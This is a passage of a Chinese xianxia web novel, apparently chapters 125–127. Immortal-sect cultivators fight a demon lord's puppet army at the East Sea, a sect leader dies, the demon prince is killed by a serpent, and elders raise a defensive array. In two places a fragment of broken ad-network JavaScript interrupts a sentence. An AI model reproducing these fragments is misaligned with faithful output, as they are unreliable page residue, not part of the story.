一路奔走,公仪岭所过之处死了一片傀儡,他根本没给那些东西伤到自己的机会,一击毙命,连头都砍下来了。 直到他从广场左边杀到了右边,抬剑就要把挡路的东西刺死之时,只听“铛”的一声,归云剑被人硬生生接了下来。 来人面庞虽然笼罩在黑气中无法看清,但那柄长刀公仪岭却已经认了出来。 公仪岭死死咬牙,归云灵力暴涨,将剑身上架住的长刀给掀开了。 上次打完,尹鸿晔就等着再次与他过招,好不容易在东海上看见了这人杀出一条血路,便过来亲自与他交手。 只不过刚提刀出手试探了一下,自己的刀就被弹开了去,令他出乎意料。 尹鸿晔挑眉笑道:“没想到,这么短的时间,你竟然修为大涨?当真叫我意外。” 公仪岭根本懒得与他废话,上一招刚完,剑光一闪,下一招已至,这凌厉之势,叫尹鸿晔也不敢大意轻敌,闭了嘴专心与他过招。 他们两人修为相差不多,若是一直与他打下去,不仅浪费时间,还反倒会让自己陷入傀儡的包围圈,公仪岭只想赶紧甩开这个烦人的家伙,怒喝道:“滚开!” 尹鸿晔没想让他如愿以偿,手中长刀旋转挥舞,瞬间与他过了几十招难分胜负,像是打定了主意要把公仪岭拖死在这里。 125.东海见飞雪 阵法守仙门(三) 远处的傀儡已经闻到了血腥气,朝着公仪岭这方向围了过来。尹鸿晔压根不怕这些傀儡会伤到自己,也没打算一直跟他单挑,直接召来了这些傀儡想要将公仪岭拿下。 剑光猛然扫过,离得最近的那一圈傀儡倒了地,很快就又有新的傀儡涌了上来,毫无休止。 公仪岭心知这样下去不是办法,打定主意打算击飞一具傀儡以后,往那个缺口突破。 他猛然收剑,侧身闪避开了尹鸿晔当面一击,随后侧步绕至了他的身后,汇聚了所有灵力推出一掌。 尹鸿晔只见面前的人忽然消失不见,还没稳住自己的身形去找,就被背后那一掌推飞了出去,撞倒了一片傀儡。 如此好的机会,公仪岭断然不能错过,召归云削断了面前拦路傀儡的脑袋,踩着尹鸿晔的身子飞了出去。 哪知这一下竟然歪打正着,归云削完傀儡脑袋以后,公仪岭就看见了燕蓉的身影,与她对上了目光。 他大喝一声:“燕蓉!帮忙!” 燕蓉周围也全是傀儡,看见公仪岭大喜过望,不知对何处喊了一声道:“找到公仪岭了!” 公仪岭刚逃出包围圈,还没反应过来,燕蓉目光一凝,手中折扇回旋飞出,如利刃一般将公仪岭身旁的一只鬼手给砍断了。 他瞥了一眼地上的断手,千恩万谢:“多亏有你!” 扇子回手,燕蓉没再与他说一句话,眼看着他身后尹鸿晔马上就要暴起追过来,折扇一挥,竟也挥出了一道狂风,把他身后周围的所有傀儡全都吹得后退了四五步。 公仪岭这才想起来,他们紫阳宗学的各类术法,弟子们都是会的,只不过燕蓉主修了水系术法,这才极少使用风系术法,若非刚刚这一下,他都快忘记了此事。 扇飞了那些傀儡以后,燕蓉根本没给他们再度折回的机会,几道巨大的水刃冲去,顿时撂倒了一片。 公仪岭:“!” 燕蓉冷笑一声,厉声道:“一群杂碎,以为这边是谁家的地盘?这是东海之上!我还不能调水过来了?” 这些傀儡都有人的意识,甚至可以开口说话,燕蓉这句话说完,显然将傀儡们激怒了,周围又围过来了一堆不怕死的东西。 归云替他消灭了一圈魂魄,重新回到了公仪岭的手中。 他斜持归云,浑身警戒地看着周围。 尹鸿晔早已起了身,飞扑过来。他身为玄霄殿的大殿下,何时受过这样的耻辱?竟然被他们仙家的人踩着身子过去,简直岂有此理! 刚才公仪岭踩的这下算是彻底把尹鸿晔激怒了,他气势汹汹提着大刀朝着两人冲来,目眦欲裂地挥刀朝着两人砍去。 公仪岭凝眉静候,正欲出手,哪知两人面前忽然一道雷电劈过,惊得尹鸿晔直接往后翻去,这才堪堪避开。 公仪岭难掩惊诧,燕蓉表情却没有丝毫变化,甚至没有给那个尹鸿晔一个眼神,轻声对公仪岭道:“后退!” 他毫不犹豫信了,刚后退两步,就见周围十米接二连三劈下来几道雷电,当场就把他们周围的几个傀儡劈成了焦尸,倒在地上疯狂地抽搐颤抖。 “是雷阵!” 这下轮到公仪岭大喜过望了,这雷阵必然是司月吟的手笔,只要司月吟在他们附近的话,想必大哥定然也是在的。 果不其然,公仪岭立刻听到了头顶传来一道女声:“阿岭!” 那尹鸿晔还在左闪右避雷电之时,黄衣女子从天而降,一手一个提起两人,带着他们一路飞,踩过无数傀儡的脑袋,最后稳稳落在一块不大不小的空地上。 公仪岭刚落地,一眼就瞧见了公仪岚正挥剑杀敌,紧绷的心弦松了下来,大喊道:“大哥!” 公仪岚刚刚跟司月吟两个人找他快找疯了,现在看见人安安稳稳没事,才安心了些:“现在情况复杂,大家尽量不要走散了!” 公仪岭令归云在旁边阻挡冲过来的傀儡,环顾四周,发现没有齐元白的身影,急声问道:“元白呢?!” 现在他们想要在人群和傀儡群中找到太微山的人非常困难,整个紫阳宗都被夜色笼罩起来,黑气魂魄阻挡着他们的视线,穿着玄色袍子的太微山弟子融入夜色之中,根本看不清楚,只能依靠着远处四散而飞的各种符箓形状,来勉强分辨。 司月吟镇定道:“阿岭,你先冷静一点,有符箓护体,齐元白应该无事。” 公仪岭深吸一口气。 他自然知道司月吟说得不错,但符修之人毕竟不擅长近身打斗,哪怕是强如齐元白,他也不得不担心起来。 燕蓉道:“现在大家都被傀儡群冲散了,万一没找到他们导致意外发生就不好了,我看,还是得想个办法让他知道我们在这里。” “信号弹,你们有没有人带了信号弹?” 远处傀儡闻声而来,公仪岭飞起一脚将侧边傀儡撂倒,问道。 燕蓉挥扇召出一条水龙,撞开了身旁傀儡:“又不是出任务,这时候谁身上会带信号弹?” 公仪岭看见她召出的这条水龙,灵光一闪:“那你把这水龙变大点,冲出去,齐元白看见定然就知道是我们了!” 燕蓉挥扇的动作一滞,随即按照他说的那样,调来的更多的海水,水龙瞬间冲天而上,宛如东海之上的那几道水柱,很是壮阔。 公仪岭穷极目力捕捉着周围的情况,不出片刻,就看见了几百米开外升起的巨大符箓阵,一瞧就知道是齐元白的手笔。 “在那边!” 公仪岭指了个方向,又道:“几百米的距离,怎么过去?” “杀出去!” 燕蓉毫不犹豫,直接挥扇朝着那个方向开道。 司月吟动作也是极快,手中昆吾轮微动,瞬间开了几道连环阵,将旁边碍人的傀儡全部清干净。 看着这两人杀得如此轻松,公仪岭不知为何又想起了玄霄殿时候那一闪而过的灵感。 但公仪岚已经出声:“阿岭!跟上!” 司月吟和燕蓉能拖延开道出来的时间十分紧迫,哪怕威力巨大,也架不住数不清的傀儡朝他们奔来,打死一个还有另一个,简直无穷无尽。 公仪岭不再多想,提剑冲了过去。 剑光纷杂,眼前白光一道接着一道,所有阻拦在他们面前的傀儡,不是人头落地就是一剑封喉。公仪岭虽然杀得迅速,却隐约觉得不对。 明明齐元白已经看见了燕蓉放出的水龙方向,为何不朝着他们这边汇 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 合,反倒待在原地一动不动? 公仪岭分明看见他那道符箓大阵还在半空中席卷,根本没有收回的意思,顿时有一种不祥的预感。 这些符箓,并不像是在杀敌,反倒像是自发地组成了一道极强的屏障,牢牢守住了中间的人。 会出现这样的情况,唯一的可能,那就是齐元白那边出事情了,导致他不得不分心控制着符箓把傀儡分隔开来。 公仪岭心急如焚,对旁边几人说道:“快一点!再快一点!” 燕蓉和司月吟不知他心中所想,只当他着急与齐元白汇合,于是点了点头,手中凝聚了更多的灵力,誓要齐心协力杀一条血路出来。 归云被他舞得密不透风,每走一步都伴随着周围傀儡重重倒地的声音,满地都是它们身上留出来的腥臭血迹,将整个广场上的白玉地砖全都染红了。 “再快一点!” 公仪岭咬紧牙关,在心中默然对自己说了一遍又一遍,这几百米的距离,近在咫尺,却又远在天边。 直到他们终于砍飞了面前最后一具傀儡,留出了那一瞬间的空隙。水龙咆哮,冲向了空隙,将那空间拉扯地更大了一点,终于能够容纳公仪岭他们通过。 “哗啦啦——” 迎风飞舞的无数符纸擦着几人的面颊拍来,公仪岭一伸手就能够抓住空中乱飞的黄纸,看着里面屏息凝神操纵着符箓的齐元白,大喊道:“元白!” 齐元白仿佛刚如梦惊醒,口中念叨了一句法诀,那些黄符瞬间让开了一个身位。 公仪岭闯入其中,见到他无事,刚想说上一句,下一秒,脸上的表情就凝固了。 因为在齐元白脚下,躺着一个浑身是血,生死不知的人,身上还缠绕着一条黑色大蟒,正嘶嘶地吐着芯子,将他团团围住。 而黑色大蟒的旁边,还跪着一个满脸泪痕、青衣银饰的女子,浑身战栗地捡着地上散落一地的药丸仙丹,尝试了几次都没能给他喂下去,最后掩面失声痛哭起来。 齐清鸢垂眸,轻轻抱住了她,拍了拍她的背。 公仪岭哑着声道:“孟姑娘……” 如此,黑色大蟒旁边的男子身份也明了。 公仪岭看着他的脸庞,叹了一声。 他与孟翰言交集不多,竟没想到他会身死在此。 齐元白见公仪岭一动不动,以为他是吓得傻了:“阿岭!你快救救他啊!” 齐元白自己也没好到哪里去,强撑着维持符箓,只当孟翰言还有救,根本没敢低下头看上一眼。 可是,在他们之中,只有孟妙意最懂医理,就连她都已经没办法的事情,公仪岭又能有什么办法?他沉默着蹲下,依照惯例检查了孟翰言的生命体征,却已经摸不到他的一点脉搏了。 公仪岚沉声问道:“这究竟怎么回事?以孟宗主他的修为,怎么会……” 齐清鸢痛苦道:“我与哥哥失散了,若非孟宗主全力用黑蟒相助,恐怕当时死的便是我了,孟宗主他……一时没有注意,就被那群傀儡活活穿心……” 齐清鸢的话说完,缠绕着孟翰言的那条黑蟒也逐渐消失不见了。 司月吟默然道:“灵力溃散,他的灵蛇自然也就消散了。” 126.东海见飞雪 阵法守仙门(四) 她的阵法在众人脚底布下,齐元白见状也收起了自己的符箓,沉默地看着自己身旁那血已流干的孟翰言,喉咙像被东西哽住般难受。 在战场上,根本没有留给他们多少伤心难过的时间,可即便如此,公仪岭现在能做的。也就只是用全力替他们挡下蜂拥而来的傀儡与魂魄,尽量留给孟妙意稍微多一点点的时间。 燕蓉开口道:“妙意姑娘,不知你二哥现在身在何处,可找到了吗?” 她这番话终于给孟妙意死灰般的眸子亮起了一点光芒,但那光芒只维持了片刻就黯淡了下去。 孟妙意低低说道:“还没有找到我二哥,我想,他应该是与你的师父和大师兄在一处。” 燕蓉怔愣了片刻,点了点头:“他们会平安无事的。” 孟妙意抬手拭去眼角的泪,缓缓起身,手臂上的蛇纹忽亮忽灭。很快,公仪岭就看见一条青色巨蟒凭空出现,盘桓在孟妙意的身上,从她的脖子后探出了头。 公仪岭想起中秋宴那夜,她跳舞的时候好像唤出的也是这一条蛇,只不过没有现在这么大。 还没等他开口问什么,孟妙意就已经寒声开口:“我要他们的狗命!” 说罢,她身后那只青色巨蟒像是得了一条命令,竟然直接从她的肩头滑了出去,贴地而飞,对着周围每一个妖邪和傀儡亮出了毒牙,狠狠地扑咬上去。 众人从未见过这般肃杀之气的孟妙意,一时间都愣了,直到看见她轻描淡写地对巨蟒下达绞杀的命令,这才心惊地回过神来,重新聚起灵力灌入法器之中,在她身旁厮杀着来敌。 然而,虽然他们现在几人聚成一团,杀了无数的傀儡,却还是难以突出重围。 地上横七竖八躺着各家弟子的尸体,而那些傀儡死后则是化作黑烟消散,地上只留下了魔族士兵和各种妖孽的尸身,一旦傀儡消散,数量变少,他们所在的位置便暴露无遗。 尹鸿晔找了他们许久,这会儿可算是得来全不费工夫了。 对手众多?没关系,再怎么样也不会比他们更多,反正他旁边全都是妖孽,一声令下就会全都围到这边来,替他扫平所有碍事的人。 公仪岭一见这人就烦得要命,归云微振,直接挡在了公仪岭的面前,替他接下了尹鸿晔充满挑衅的一记飞刀。 尹鸿晔的刀转了个弯又回到了自己手中,手腕一抖,刀锋露出寒芒,他露出一个笑容,对公仪岭道:“你出来,我们再打过!” 公仪岭大骂:“滚一边去!谁要跟你打?” 只可惜尹鸿晔这话并非信口说说的,他一抬手,身旁所有的妖孽全都把公仪岭身旁的人团团围了起来,独留了他一人隔在外面,交给了尹鸿晔处理。 “阿岭!” “公仪岭,你还受着伤!别跟他硬来!” 尹鸿晔听他受了伤,大笑了一声:“看样子,今天是天要亡你们啊,想不到,你受的伤竟然还没好!” 公仪岭听着身后的两声呼喊,他并未回头,而是恨恨地看着尹鸿晔,啐了一口:“一个爹妈生出来的,你跟你弟差远了。” 尹鸿晔听到他提尹鸿宣,看起来并不快活,表情一僵,冷声说道:“他一个废物,跟我比?真是笑话!” 他话音刚落,面前人影就是一个飘忽,随后,人影与剑光闪至尹鸿晔身前,那锋利的剑身距离他的脖颈仅有分毫之差。 尹鸿晔面色微沉,抬手提刀勉强将归云错开。 但这一下凶险至极,归云还是在他的脖子上划出一道淡淡的血痕。 尹鸿晔捂着脖子咳了一阵,还没来得及怒骂一声,公仪岭便再度消失在了他的眼前,只在擦肩而过之时,在尹鸿宣的耳畔留下了淡淡的一句:“受了伤又如何,照样一只手打你。” 这一次,他终于敏锐地捕捉到了身后剑气破空的声音,人还没转过身,手中长刀已在掌心翻转过来,直接凌空挡下了这一击。 公仪岭见他还算敏捷,便猛然变换了方向,归云剑身灵光流动,瞬间已变百式,每一下剑光都直取尹鸿晔的性命。 尹鸿晔的刀在手中格挡,被归云的剑势逼得连连后退,稍有不慎,身上就被划开了口子,流出黑红色的血。 “不愧是你那黑心老子的亲儿子,就连血都是黑的。” 公仪岭冷冷讥讽,手上一点没停,剑剑都朝着他要害杀去,大有将尹鸿晔直接当众斩杀在此地祭奠亡魂之势。 尹鸿晔咬牙抵抗,不甘示弱道:“你下手倒狠,不过你就算杀了我,也没用!” 虽然话是这么说,但尹鸿晔心中却暗暗心惊。 他本以为自己多少能与他打个不相上下,却没想到这人跟疯了一样,竟然杀得自己全无招架之力。 心惊之余,也让他隐隐有些不好的预感。 他这边脑子转了千八百圈,公仪岭却是心无旁骛,毫无退却的意思,不得不让尹鸿晔伸手召出周围妖孽,企图用这样的办法将公仪岭拖住,再找机会一刀砍死他。 见他打不过就叫帮手,也丝毫没有出乎公仪岭的意料。 两边几只狂叫着围过来,想要攻击公仪岭的妖孽直接被归云一击毙命,而尹鸿晔则是趁着归云脱手的这时机,挥刀直劈了过来。 刀刃快而准,对着公仪岭的脑袋就是一刀,公仪岭来不及收回归云,抬手凌空将刀柄捏住,用尽全力反向一扯。 尹鸿晔本以为自己稳稳地能拿住武器,谁料自己的力气竟完全不及公仪岭,登时被扯得往前走了几步。 正在这时,归云受公仪岭的控制,朝着尹鸿晔的右手挥砍而去! 尹鸿晔别无他法,只能暂且收回了手避开这一击,如此一来,他手中的长刀便完全落入了公仪岭手中。 尹鸿晔手中长刀也是个浑身魔气的凶刃,落到旁人手中顿时刀身嗡嗡震动了起来,想要挣脱。公仪岭不得不用自身灵力去对抗,瞥眼瞧见企图重新夺刀的尹鸿晔,就想用归云剑将他一剑封喉。 就在归云离尹鸿晔咽喉只剩下分寸之时,旁边忽然闪出一人,一柄大刀将归云震开了去,反手一掌打向公仪岭。 公仪岭目光一凝,瞬间朝后倒退几步,全力用归云剑挡下了这击。 被打断了这下后,公仪岭也顾不上手里的长刀了,刀身摔在地上的那刻,就被尹鸿晔重新拾了回去。 尹景轩来得极快,大概是在海上见儿子打不过,这才按捺不住,直接亲自上了。所幸公仪岭挡下的动作飞快,才没有被掌风所伤。 公仪岭身后的几人,此刻也杀光了周围的妖邪,对着他们俩怒目而视。 遍地的妖魔尸体,遍地的仙门弟子的尸体。 公仪岭目光所及之处,都很难寻到几个还未负伤的弟子了。不过,刚才尹鸿晔也已经被他打得身负重伤,这样来看,没准他们对上尹景轩还有些胜算。 两相对峙了片刻,最先出手的竟然是孟妙意。 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“你们毒修会不会用毒啊?撒得乱七八糟!”尹鸿晔嗤笑道,“让我来教教你,像你们这样的,实战中得出其不意才能有效果!只会这些小孩子家家的把戏,玩得这般阴损,就凭你也想打过我?” 孟妙意冷声道:“我都还没说你们偷盗宝物、私炼傀儡是下作手段,竟也好意思张口说我们阴损?当真是好大的狗脸!” 尹鸿晔的话被堵了个严实,只能愤愤地闪避。 然而他浑身是伤,父亲那边又被那几人用各类术法给缠住了,哪怕招呼傀儡,恐怕也扛不住司月吟的无差别攻击。 公仪岭也不可能放过如此好的机会,他还想快点把这人解决了,再去帮另一边的忙呢! 归云攻势倏然变猛,尹鸿晔不得不挥刀堪堪招架,只是他顾左不顾右,本就应付地艰难,归云一旦提速,他就有些筋疲力尽了。 几人周围本就烟雾弥漫,魂魄四溢,极难看清楚人。孟妙意避身至一旁,无声无息融入到了黑色烟雾之中。 孟妙意心无杂念,其他杂乱之声全部被她屏蔽开来,耳中只剩下自己身上的银叮铃的清脆响声。这是她哥哥亲手给她打的银饰。 冷静,冷静,越到这个时候越应该冷静。 她想要为哥哥报仇,就必须得找到一击致命的破绽。 青蟒盘在她的颈间吐着信子,孟妙意眼眸微眯,眼前两者交战,一招一式皆落入她眼中。灵力凝结汇聚出全部毒素,抬手让青蟒绕至一旁,无声等待。 就在此时,公仪岭猛然出手,手中剑光不停,直直刺了过去。 尹鸿晔不得不两只手举刀,全力相扛。 而孟妙意也正是抓住了这样的时机,口中默念法诀,青蟒盘到了尹鸿晔的身后,在烟雾之中直立起身。 公仪岭只看见一个模糊不清的蛇身,斗大的眼睛在烟雾中微微发光,随后狠狠对着尹鸿晔的脖子狠狠地咬了下去。 毒素全数灌入尹鸿晔体内,他的表情一瞬间凝固在了脸上,张了张嘴,还未来得及说一句话,便口吐黑血。 青蟒微微用力,就直接咬断了他的脖颈。 见这人终于死透了,公仪岭略微松了口气,其他人看见这一幕,也都精神一振。 孟妙意从烟雾中现身,抬脚把尹鸿晔的头颅踢到了他爹的身边,冷笑道:“拿去,把你的儿子也炼进旗子里才好!” 127.东海见飞雪 阵法守仙门(五) “鸿晔!” 尹景轩看着儿子已死,赤红着眼睛,仰天怒吼了一声,周身魔气越发浓郁。他根本不管面前的这些人如何对他攻击,后撤了两步退出阵法范围,扬手高举御魔幡。 刹那间,天空中电闪雷鸣,风起云涌,云层中裂开了一个巨大的口子,其中盘旋着无数妖邪气息,像得了命令一样,朝着东海飞来。 公仪岭猛地抬头看向半空中的妖邪,脑袋嗡嗡作响。 “这!” 公仪岚也是大惊失色,几乎难以置信。 这些妖邪,甚至有的他们还能叫得出名字,有过那么些印象! 竟然是平阴岛的妖孽! 哪怕在大战前,公仪岭也只以为玄霄殿的人能召出来的,最多是那些普通妖尸做出来傀儡。只因当初燕修远说过,他们的父辈去镇守平阴岛,就算是守不住,也会拼了性命与它们同归于尽。 所以公仪岭在得知他们阵亡的消息的时候,只当平阴岛的那些妖孽早就身死魂消,葬身在那边了。 齐元白更是直接怒骂出声:“你这魔头,究竟做了什么?!” “做了什么?呵。” 尹景轩冷哼一声,继而大笑起来:“御魔幡炼成,当然是破了平阴岛结界,看着你们的爹娘被法术反噬,爆体而亡了!” “你!” 齐元白怒不可遏,凌空飞出符箓,却被尹景轩轻松捏碎。 公仪岭沉着脸,没多说一句话,直接提剑冲了上去。 只是他们几人已经战斗了许久,损耗了不少灵力,身上也大大小小受了些伤,现在根本就不是尹景轩的对手。 各种法术交织强攻,一一都被他挡了下来。而新加入战场的那些妖邪,在御魔幡的控制下,比往日更为凶猛,顷刻间就杀了数十名弟子,怪叫着朝公仪岭他们围了过来。 公仪岚瞬间判断出局势不利,与其他几人传音道:“情况不妙,先撤!” 敌方人多势众,他们若是再在这边拖下去,恐怕就得交代在这里了。 现在还未寻到两位长老,若是能够汇合,布下阵法,或许还能够将他们给逼退。 公仪岭咬了咬牙,努力克制下想要将尹景轩碎尸万段的冲动,还是听了公仪岚的话,往后撤了几步。 周围立刻传来此起彼伏的尖叫声:“想跑?没那么容易!” “你们仙家的人关了我们这么多年,现在也是时候算算账了!” 听着周围起此彼伏的杀声,他们只能暂且先施法对付那些平阴岛的妖邪,想办法从中破开缺口杀出去。 公仪岭急声问道:“司姑娘,你两个师父现下在何处?!” 司月吟道:“不知!从我得到消息从院落赶来,就没见过师父!” 齐元白道:“那现在该怎么办?这些东西可比刚刚那些难对付多了!” 公仪岭凝眸,看着广场被妖邪占满,思忖道:“若是利用地形,也许能出去。” 孟妙意道:“地形?这广阔平地,如何能利用地形?” 公仪岚忽然福至心灵,明白了公仪岭的意思,抬头望了望半空中盘旋的黑气魂魄,立刻道:“把上面的魂魄消灭了,我们上紫阳殿屋顶!” 他与众人传音完,彻云剑脱手而出,朝着半空飞去。 司月吟见他手上没了武器,担心他被妖孽所伤,马上在公仪岚身旁布下阵法,护他周全。 燕蓉一眼就知他打算干什么,手中法扇挥出,那道水龙腾空而起,呼啸着冲散了半空中的魂魄。 公仪岭看他们俩配合得不错,也就没有把归云剑也丢上去杀魂魄,而且守着他们拼命地挥砍着两边的傀儡,而孟妙意的青蟒,则是伸展着长长的身体,将他们环绕在中间,长尾扫过,便撂倒了一大片敌人。 如此过了半炷香,公仪岚和燕蓉终于在半空中清扫开了一个缺口,足够让他们脱离地面,飞到紫阳殿上去。 尹景轩识破了他们的意图,大怒道:“想逃?没门!” 说罢,口中念着法诀,意欲将周边其他黑气,全部都召集到这里来。 燕蓉看着周围汹涌澎湃的魂魄,凝眉道:“不好,我们得加快速度了,这么多魂魄,我召唤出来的水龙也维持不了太久!” 公仪岭正对付身旁妖邪,听了她的话抬头看了一眼,见那道水龙用身躯将魂魄阻隔开来,勉强露出一个大洞让他们出去,而旁边的黑气则不断地冲撞着水龙,明显要把它打散了闯进去。 公仪岭大喊道:“几位姑娘们先走!” 孟妙意道:“开什么玩笑?我们先走了,这些傀儡能直接把你们撕成碎片!” 公仪岭满头大汗:“青蟒留下,你们先走!来得及!” 司月吟看着公仪岚赤手空拳,打起来十分吃力的样子,心知不妙,也不给孟妙意再说什么的机会,直接拽着孟妙意和齐清鸢从水龙圈里闯了出去。 燕蓉侧目看了一眼三个勉励支撑的人,低声道:“这道水龙应该还能撑住十秒,不要拖延!”说完也飞了出去。 有青蟒在他们旁边,倒也还能支撑。公仪岭看着水龙的身形越来越淡,一咬牙,对身旁两人道:“走!” 随后就想拉着公仪岚和齐元白朝上方飞去。 所幸公仪岭动作极快,就在三人飞身闯出去的下一秒,那水龙圈终于支撑不住,被黑气撞破,化成水珠散落了一地。 然而他们还没庆幸一秒,半空中那些黑气魂魄就已经调转了方向,朝着他们直冲上来! 燕蓉神情凝滞片刻,还未来得及挥扇重新化出新的水龙,恍惚间听到屋顶上面传来一声:“月吟!” 司月吟听到这个声音,回头惊声道:“师父!” 就见紫阳殿琉璃顶的最上方,早已站了好几个人,为首的正是善承和玄微两位长老。 只是现在没时间给他们叙旧,身后黑气魂魄穷追不舍,善承长老眉头微皱,一道术法挥出,将他们身后的魂魄全部打散了,这才让几人脱险,成功落到琉璃顶上。 随后,阵盘呼出,一道巨大的结界将整个紫阳殿都围了起来。 “师父,这是……” 司月吟睁大眼看着这屏障,道:“那些弟子还在广场上!” 善承长老顿了顿,不由分说道:“月吟,现在已经没时间顾及所有人了!妖邪肆虐、数量众多,仙家弟子伤亡惨重,眼下只有设下结界,将阵法布下,才有转圜的余地!” 玄微长老也道:“月吟,若是错过了布阵良机,恐怕伤亡会更加惨烈,不可犹豫了!” 司月吟沉默片刻,还是应了声。 公仪岚道:“玄微长老,可已经准备好了布阵的东西?” 玄微长老点头道:“正是,方才与它们交手的时候,已经准备好了。” 燕煦泽道:“只要按照之前阵法图的站位,我们一齐施法,就能起阵了。” 公仪岭听到这句话,怔愣片刻,还没将噩耗说出口,旁边的孟正初已经颤声发问了:“妙意……大哥呢?” 原本燕修远他们还不觉得少了人,听到孟正初的这句话,再度环顾四周,确认完人数后,神情就肃穆起来。 孟妙意张了张嘴,话还没说眼泪先流了下来。 “大哥……大哥他死了!” 她终于控制不住,痛哭出声:“是因为我们,是为了救我们,他才遭了毒手!” 齐清鸢拍了拍她的肩膀,聊以安慰,转身对众人道:“妙意姑娘已经杀了尹景轩的长子,为孟兄报仇雪恨,这才激得尹景轩召出了平阴岛的妖邪,害得我们险些丧命。” 众人沉默,一时都没说出一句话。 但现在,他们意识到了更为要紧的一件事,那就是,布阵的人手少了孟翰言一个,现在又该如何布阵? 善承长老率先开口:“结界设下,他们必然强攻,等布阵开始,我们断然不可能出手设下结界,必须在他们击破结界之前完成布阵。现在少了一个人,必须得有人顶上,你们谁来?” 玄微长老沉声道:“这不是小事,万一他们提前突破结界,而我们的阵法并未成功,届时第一个被法术反噬的就是布阵之人,你们可得想好了!” 孟正初红着眼圈,低声安抚着妹妹,听到两位长老说的话,立刻道:“我可以替上大哥的位置。” “不行。” 未等两位长老同意,纪银灵出乎意料地开口制止了。 燕修远问:“纪宗主,你这是何意?” 纪银灵淡淡摇头:“孟宗主刚仙逝,若是你又出了什么意外,妙意姑娘该如何难受?让我替上吧。” “这……” 孟正初还想开口,公仪岭就道:“孟兄,这阵法重要性不言而喻,现在没有时间犹豫了,纪宗主修为高,让她替上未尝不可。” 孟正初沉默片刻,道:“我会在外面替你们护法,加固结界。” “有劳了。” 所有人各自站位,公仪岭也飞快地找准了方位坐下,看着正中央善承长老默念法诀,准备起阵,他聚精会神,回忆着脑海中的阵法咒诀,依样念了起来。 随着所有方位注入灵力,结界上空逐渐出现了一个巨大的阵形,照映着乌黑的天空,隐隐闪烁着亮光。 很快公仪岭便明白了一件事,那就是抱元门这次启用的阵法威力巨大,说是用来孤注一掷、拼死一搏也不为过。 他无法得见下面广场上的景象,但下面的尖叫声、爆炸声却清清楚楚传到了耳中。 如果公仪岭在这时候睁开眼,朝着结界方向看一眼,都能看见结界外是一片黑暗,根本没法瞧见外面广场上是什么样子,因为从他们封闭结界的那一刻开始,所有的魂魄和妖邪都聚集了过来,把结界遮盖地严严实实。 哪怕燕蓉他们几人用尽全力维护着结界,却也难敌无数疯狂的妖邪前仆后继地想要撕裂结界的口子,没过一会儿,这透明的结界就已经出现了丝丝裂缝,眼看着就要碎裂。 尹景轩悬空站在结界外壁,笑得阴森诡异:“善承!别以为躲在结界里布下阵法,我就拿你们没办法了!” 没有一句回应,结界里面的人也不可能给他一句回应。 燕蓉死死盯着结界上的裂痕,又回头看着紧闭双眼正在施法的几人,心中祈祷着他们尽快结束。 阵法若成,那尹景轩定然就拿他们没办法了! 坚持一下、再坚持一下…… 她像是在对自己说,也像是在对其他人说。 公仪岭又何尝不是这样想的,他紧闭着眼施法,另一方面的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 原因,无非就是不敢睁眼看外面是什么情况。 虽然这个阵法应该不会对门中弟子造成多少危害,但他刚才仍然听到了外面弟子凄厉的哭喊声,不愿去看下面是何等血溅当场的惨状。 按照现在的进度,只要再坚持上一盏茶的时间,阵法就能完全成型! 他们用的灵力越多,阵法的威力便也越大,公仪岭全力支撑,直到天空中那若隐若现的亮光完全亮起,他听到了玄微长老的那句“成了!”,这才勉强睁开了眼睛。 因为猛然间消耗了许多灵力,他们所有人站起身的一瞬间,都有些摇摇晃晃重心不稳。承悦过去搀扶了两人一把,公仪岭和公仪岚这才站稳了身子。 待他们看清结界现状,甚至来不及重新用法器施法支撑结界,那结界就已经碎裂消失了。 尹景轩见结界破了,笑得越发猖狂:“给我上!” 得了命令的妖邪放肆大笑,嘶喊着朝着公仪岭他们冲了过去。 孟妙意还未给他们所有人吃完补灵气的丹药,见它们来势汹汹,只能草草把丹药丢到公仪岭手中,重新召出青蟒,正面迎敌,打算拖延一些时间给他们恢复灵力。 在拖延时间这方面,燕渊倒是难得发挥了一些作用。 他到底还挂着一个少宗主的名号,对付起这些黑气魂魄还是游刃有余的,前几次又是遇到火凤,又是遇到自己的阴影青狻猊,表现得极为憋屈,这一次总算也有了一个发泄口。 折扇翻出,法诀念起,半空中顿时燃起了熊熊大火。 在紫阳宗的地界开战,对他们来说的好处就是,不仅不会被压制法力,反倒还施展地更为从容了。 一时间水火术法并行,威力巨大,所过之处立刻消灭了一堆魂魄。 公仪岭手执归云,凡是冲过来的妖孽统统被他斩于剑下,看见这些小妖有燕蓉他们照料,处理地十分得当,公仪岭眸光微闪,紧紧盯住了正中央的尹景轩,打算擒贼先擒王。 他毫不犹豫飞驰过去,抬手就是一记直刺。 尹景轩眼中寒芒闪过,举刀打断了他的这下攻击,道:“你果然还是这么不怕死。” 公仪岭低低笑了一声:“你说错了,我们都是一群不怕死的。” 他手中归云转了个圈,再次朝着尹景轩挥出一道剑光。尹景轩见这剑光朝着自己门面而来,不得不侧身闪避,手中大刀举起,再度拦下了公仪岭的割喉一击。 两人刀剑交叠,在半空中斗了不知几个回合。公仪岚看见公仪岭自己单枪匹马直接朝着对面杀了过去,想追上去帮忙,但又被尹景轩召来的那些妖物缠住,无法及时脱身。 尹景轩本以为缠住公仪岚,让他不能脱身支援,就能直接将公仪岭杀了,却没想到公仪岚远比他想象的更加大胆。 彻云脱手,如离弦之箭一般,冷不丁朝着尹景轩飞来,直取他的性命! 而公仪岚,面色没有丝毫变化,仅仅靠着过硬的身手周旋在妖物之间。 尹景轩瞳孔骤缩,下意识抬手,用刀身将彻云剑死死抵住,这才没被捅穿心脏。 公仪岭冷笑一声,在他挡剑之时,用归云狠狠刺向了尹景轩的腹部。 这一下虽不能要了尹景轩的性命,但至少能让他负伤,不能随心所欲地控制御魔幡和法力。 尹景轩唇角沾血,全力震开彻云,彻云剑转瞬间便原路返回到了公仪岚手中。 公仪岚见他们计谋成功,尹景轩既已受伤,那公仪岭必然是能够与他一决高下的,便不再担心,重新投身到战斗之中。 令公仪岭没想到的是,尹景轩竟然在这样的时候还能哈哈笑出声来。 “你不会以为,布下阵法,又刺伤我一剑,就能打败我们了吧?” 公仪岭拧眉,沉声道:“事到如今,你竟然还敢垂死挣扎!” “垂死挣扎?呵……” 